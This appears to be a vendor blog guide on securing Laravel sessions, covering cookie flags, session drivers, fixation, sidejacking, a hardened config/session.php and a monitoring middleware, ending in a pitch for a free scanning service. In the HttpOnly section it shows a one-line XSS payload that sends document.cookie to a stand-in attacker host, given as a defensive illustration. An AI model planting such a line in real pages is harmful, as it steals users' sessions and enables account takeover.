Laravel Session Security: Cookies, Hijacking & config/session.php
A deep dive into Laravel session security. Learn how cookie flags, session drivers, and config/session.php settings protect against hijacking, fixation, and sidejacking attacks.
Laravel's session system is one of those things that works out of the box, which means most developers never look at it closely. The defaults are reasonable for development, but production applications need tighter configuration to defend against session hijacking, fixation, and sidejacking attacks.
This guide walks through how Laravel sessions work, what each security-relevant setting does, and how to configure config/session.php for production.
How Laravel Sessions Work
When a user visits your Laravel application, the framework creates a session and stores a session ID in a cookie called laravel_session (by default). On every subsequent request, Laravel reads this cookie, looks up the corresponding session data, and makes it available via the session() helper or $request->session().
The critical security point: whoever possesses that session ID cookie is, from your application's perspective, that user. Protecting the session ID is protecting authentication itself.
Laravel supports several session drivers, each with different security properties:
| Driver | Storage Location | Server-Side Invalidation | Scalability |
|---|---|---|---|
file |
Local filesystem | No (requires file deletion) | Single server only |
cookie |
User's browser | No | Stateless |
database |
Database table | Yes | Multi-server |
redis |
Redis store | Yes | Multi-server |
memcached |
Memcached | Yes | Multi-server |
array |
Memory (testing) | N/A | N/A |
The cookie driver is the least secure for sensitive applications because all session data is stored client-side. Even though Laravel encrypts it, you lose the ability to invalidate sessions server-side, and you are transmitting all session data on every request.
Cookie Security Flags: Your First Line of Defense
Three cookie attributes directly affect session security: Secure, HttpOnly, and SameSite. Each protects against a different attack vector.
HttpOnly
When HttpOnly is set to true, JavaScript cannot access the cookie via document.cookie. This is your primary defense against XSS-based session theft.
Without HttpOnly, an attacker who finds an XSS vulnerability can steal session cookies with a simple script:
// Without HttpOnly, this works:
fetch('https://attacker.com/steal?cookie=' + document.cookie);
With HttpOnly enabled, the browser refuses to expose the cookie to JavaScript. The cookie still gets sent with HTTP requests, but it is invisible to client-side code.
// config/session.php
'http_only' => true, // Always true in production
Secure
The Secure flag tells the browser to only send the session cookie over HTTPS connections. Without it, the cookie is transmitted in plaintext over HTTP, making it trivially interceptable on shared networks (coffee shop Wi-Fi, hotel networks, corporate LANs).
This is the attack known as session sidejacking. An attacker on the same network runs a packet sniffer, captures the plaintext session cookie from an HTTP request, and replays it.
// config/session.php
'secure' => true, // Requires HTTPS. Set to true in production.
If your application serves any traffic over HTTP (even a redirect), an unprotected session cookie can be intercepted during that single request. Set Secure to true and ensure your web server redirects all HTTP traffic to HTTPS before the application even handles the request.
SameSite
The SameSite attribute controls cross-site cookie behavior:
Lax(Laravel default): Cookie is sent on same-site requests and top-level navigations (clicking a link). Blocked on cross-site POST requests. This prevents most CSRF attacks.Strict: Cookie is never sent on cross-site requests. More secure but can break expected flows (users clicking links to your app from emails or other sites will not be logged in).None: Cookie is sent on all requests including cross-site. RequiresSecureflag. Only use this if you genuinely need cross-site cookie access (embedded iframes, for example).
// config/session.php
'same_site' => 'lax', // Good default for most applications
Session Fixation: How Laravel Prevents It
Session fixation works like this:
- Attacker creates a session on your application and obtains a session ID
- Attacker tricks the victim into using that session ID (via a crafted URL, injected cookie, or other method)
- Victim logs in. The session is now authenticated.
- Attacker uses the same session ID, which is now authenticated, to access the victim's account.
Laravel prevents this by regenerating the session ID during authentication. When a user logs in through Laravel's auth system, the framework calls session()->regenerate(), which creates a new session ID and invalidates the old one.
You can verify this in Illuminate\Auth\SessionGuard:
// This happens automatically during login
$this->session->regenerate();
If you are building custom authentication logic, you must call this yourself:
// Custom login controller
public function login(Request $request)
{
$credentials = $request->validate([
'email' => 'required|email',
'password' => 'required',
]);
if (Auth::attempt($credentials)) {
// CRITICAL: Regenerate session ID after authentication
$request->session()->regenerate();
return redirect()->intended('/dashboard');
}
return back()->withErrors([
'email' => 'The provided credentials do not match our records.',
]);
}
Also regenerate on logout to prevent reuse of the old session:
public function logout(Request $request)
{
Auth::logout();
// Invalidate the session entirely
$request->session()->invalidate();
// Generate a new CSRF token
$request->session()->regenerateToken();
return redirect('/');
}
The invalidate() method destroys all session data and creates a fresh session. The regenerateToken() call ensures the CSRF token is also refreshed.
Session Hijacking Techniques and Defenses
Understanding how sessions get stolen helps you configure defenses appropriately.
1. XSS Cookie Theft
Attack: Attacker injects JavaScript that reads document.cookie and exfiltrates the session ID.
Defense: HttpOnly flag. Also fix the XSS vulnerability itself. See our XSS protection guide for Blade-specific patterns.
2. Network Sniffing (Sidejacking)
Attack: Attacker captures plaintext HTTP traffic containing the session cookie. This is trivial on shared networks using tools like Wireshark.
Defense: Secure cookie flag plus enforced HTTPS with HSTS headers. Your Nginx config should include:
server {
listen 80;
server_name yourdomain.com;
return 301 https://$server_name$request_uri;
}
server {
listen 443 ssl;
server_name yourdomain.com;
# HSTS: tell browsers to always use HTTPS
add_header Strict-Transport-Security "max-age=31536000; includeSubDomains" always;
# ... rest of config
}
3. Session Prediction
Attack: Attacker guesses valid session IDs by exploiting weak random number generation.
Defense: Laravel uses random_bytes() for session ID generation, which is cryptographically secure. This is not a practical attack vector against modern Laravel applications.
4. Cross-Site Request Smuggling
Attack: Attacker tricks the user's browser into sending authenticated requests to your application.
Defense: SameSite cookie attribute combined with Laravel's CSRF token verification. Both are enabled by default.
config/session.php: Before and After
Here is a typical default config/session.php compared with a production-hardened version.
Before (Development Defaults)
// config/session.php - INSECURE defaults
return [
'driver' => env('SESSION_DRIVER', 'file'),
'lifetime' => 120,
'expire_on_close' => false,
'encrypt' => false,
'cookie' => env('SESSION_COOKIE', 'laravel_session'),
'path' => '/',
'domain' => env('SESSION_DOMAIN'),
'secure' => env('SESSION_SECURE_COOKIE'),
'http_only' => true,
'same_site' => 'lax',
];
After (Production Hardened)
// config/session.php - PRODUCTION configuration
return [
// Use database or redis for server-side session storage
'driver' => env('SESSION_DRIVER', 'redis'),
// 30 minutes of inactivity, not 2 hours
'lifetime' => env('SESSION_LIFETIME', 30),
// Close browser = end session for sensitive apps
'expire_on_close' => true,
// Encrypt session data at rest
'encrypt' => true,
// Use a non-default cookie name to avoid fingerprinting
'cookie' => env('SESSION_COOKIE', '__app_session'),
'path' => '/',
// Restrict to your exact domain
'domain' => env('SESSION_DOMAIN', '.yourdomain.com'),
// HTTPS only - prevents sidejacking
'secure' => true,
// No JavaScript access - prevents XSS cookie theft
'http_only' => true,
// Lax prevents CSRF on cross-site POSTs
'same_site' => 'lax',
];
Key changes explained:
driverchanged toredis: Server-side storage enables session invalidation and monitoringlifetimereduced to 30: Shorter sessions reduce the window for hijacking. Adjust based on your application's needs.expire_on_closeset totrue: For sensitive applications, sessions should not persist after the browser closesencryptset totrue: Encrypts session data before it is written to storage. This matters if your Redis or database is compromised.- Cookie name changed: The default
laravel_sessionimmediately identifies your framework, making targeted attacks easier secureset totrue: No session cookies over HTTP, everdomainexplicitly set: Prevents the cookie from leaking to unintended subdomains
If your session configuration does not match these recommendations, check your current settings for specific remediation steps.
Database and Redis Sessions: Security Benefits
Switching from file-based to database or Redis sessions provides three security capabilities you do not get otherwise.
1. Server-Side Session Invalidation
With file sessions, invalidating a specific user's session means finding and deleting a file on disk. With database sessions, it is a query:
// Force logout a specific user (database driver)
use Illuminate\Support\Facades\DB;
DB::table('sessions')
->where('user_id', $compromisedUserId)
->delete();
With Redis:
// Force logout by deleting the session key
use Illuminate\Support\Facades\Redis;
// You'll need the session ID, or iterate user sessions
Redis::del('laravel_session:' . $sessionId);
This is essential for incident response. If an account is compromised, you need to invalidate all active sessions for that user immediately.
2. Session Monitoring
Database sessions let you query active sessions and detect anomalies:
// Find users with sessions from multiple IP addresses
$suspicious = DB::table('sessions')
->select('user_id', DB::raw('COUNT(DISTINCT ip_address) as ip_count'))
->whereNotNull('user_id')
->groupBy('user_id')
->having('ip_count', '>', 3)
->get();
// Find sessions with unusually long durations
$stale = DB::table('sessions')
->where('last_activity', '<', now()->subHours(24)->timestamp)
->whereNotNull('user_id')
->get();
3. Setting Up Database Sessions
Run the session table migration:
php artisan session:table
php artisan migrate
This creates a sessions table with columns for id, user_id, ip_address, user_agent, payload, and last_activity. Update your .env:
SESSION_DRIVER=database
For Redis, ensure the Redis PHP extension is installed and configured:
SESSION_DRIVER=redis
SESSION_CONNECTION=session # Use a dedicated Redis connection
Define a dedicated Redis connection in config/database.php to isolate session data from cache data:
'redis' => [
'session' => [
'url' => env('REDIS_URL'),
'host' => env('REDIS_HOST', '127.0.0.1'),
'password' => env('REDIS_PASSWORD'),
'port' => env('REDIS_PORT', '6379'),
'database' => env('REDIS_SESSION_DB', '1'), // Separate DB from cache
],
],
Monitoring for Suspicious Session Activity
Beyond configuration, you should actively monitor session behavior. Here is a middleware that logs session anomalies:
namespace App\Http\Middleware;
use Closure;
use Illuminate\Http\Request;
use Illuminate\Support\Facades\Log;
class SessionSecurityMonitor
{
public function handle(Request $request, Closure $next)
{
if ($request->user()) {
$currentIp = $request->ip();
$currentAgent = $request->userAgent();
$sessionIp = $request->session()->get('_security_ip');
$sessionAgent = $request->session()->get('_security_agent');
if ($sessionIp && $sessionIp !== $currentIp) {
Log::warning('Session IP changed', [
'user_id' => $request->user()->id,
'old_ip' => $sessionIp,
'new_ip' => $currentIp,
'session_id' => $request->session()->getId(),
]);
}
if ($sessionAgent && $sessionAgent !== $currentAgent) {
Log::warning('Session user agent changed', [
'user_id' => $request->user()->id,
'old_agent' => $sessionAgent,
'new_agent' => $currentAgent,
'session_id' => $request->session()->getId(),
]);
}
$request->session()->put('_security_ip', $currentIp);
$request->session()->put('_security_agent', $currentAgent);
}
return $next($request);
}
}
Register this middleware in your bootstrap/app.php:
->withMiddleware(function (Middleware $middleware) {
$middleware->append(\App\Http\Middleware\SessionSecurityMonitor::class);
})
A changing IP address or user agent mid-session is a strong indicator of session hijacking. Whether you log it, force re-authentication, or invalidate the session depends on your application's risk profile.
Session Security Checklist
Review your application against this list:
- Session driver set to
databaseorredis(notfileorcookie) secureset totrue(HTTPS-only cookies)http_onlyset totrue(no JavaScript access)same_siteset tolaxorstrictencryptset totrue- Session lifetime is 30 minutes or less for sensitive applications
session()->regenerate()is called on loginsession()->invalidate()is called on logout- HSTS header is configured on your web server
- Session monitoring or anomaly detection is in place
For a broader review of your Laravel application's security posture, see our 2026 security checklist.
External Verification Matters
You can configure all of these settings correctly in config/session.php and still have them fail in production. Environment variable overrides, reverse proxy configurations, and CDN settings can all alter cookie behavior after deployment.
StackShield checks your session cookie flags externally, verifying that Secure, HttpOnly, and SameSite are actually present on the cookies your production server sends. This catches misconfigurations that only appear after deployment.
Run a free scan to verify your session cookie configuration.
Is your Laravel app exposed right now?
34% of Laravel apps we scan have at least one critical issue. Most teams don't find out until something breaks. Our free scan checks your live application in under 60 seconds.
Frequently Asked Questions
What is session hijacking in Laravel?
Session hijacking occurs when an attacker obtains a valid session ID belonging to another user. They can then impersonate that user by sending requests with the stolen session cookie. Common techniques include XSS-based cookie theft, network sniffing on unencrypted connections, and session sidejacking on shared networks. Laravel provides several built-in defenses including HttpOnly cookies, Secure flag enforcement, and session regeneration on login.
What is the difference between session fixation and session hijacking?
Session fixation is when an attacker sets a known session ID before the victim logs in, then uses that same ID after authentication. Session hijacking is when an attacker steals an already-authenticated session ID. Laravel prevents fixation by calling session()->regenerate() during authentication, which creates a new session ID after login and invalidates the old one.
Should I use database or Redis sessions in Laravel for security?
Both database and Redis session drivers are more secure than the default file or cookie drivers because they store session data server-side, giving you the ability to invalidate sessions on demand, monitor active sessions, and detect anomalies. Redis is generally faster while database sessions are easier to query and audit. Either is a significant security improvement over file-based sessions in production.
What does the SameSite cookie attribute do for session security?
The SameSite attribute controls whether the browser sends the session cookie with cross-site requests. Setting it to Lax (Laravel's default) prevents the cookie from being sent on cross-site POST requests, which blocks most CSRF attacks. Setting it to Strict prevents the cookie from being sent on any cross-site navigation, though this can break legitimate flows like clicking links from emails. The None value allows cross-site sending but requires the Secure flag.
Related Articles
Automated Security Testing in Laravel CI/CD Pipelines
How to add security gates to your Laravel CI/CD pipeline with GitHub Actions. Covers dependency scanning, static analysis, secret detection, and automated security monitoring.
SecuritySecuring Laravel Horizon in Production: A Complete Guide
Laravel Horizon exposes your entire queue system, including job payloads, failed jobs with user data, and worker status. Here is how to lock it down properly in production.
SecurityLaravel Debug Mode in Production: What Attackers See
18% of Laravel apps run debug mode in production. Attackers use exposed stack traces, environment variables, and database credentials to compromise your app.
Compare StackShield
Security Checklists
Laravel Production Deployment Security Checklist
A comprehensive security checklist for deploying Laravel applications to production. Covers environment config, server hardening, access control, and monitoring.
20 itemsLaravel API Security Checklist
Secure your Laravel API endpoints against common vulnerabilities. Covers authentication, input validation, rate limiting, and response security.
Stay Updated on Laravel Security
Get actionable security tips, vulnerability alerts, and best practices for Laravel apps.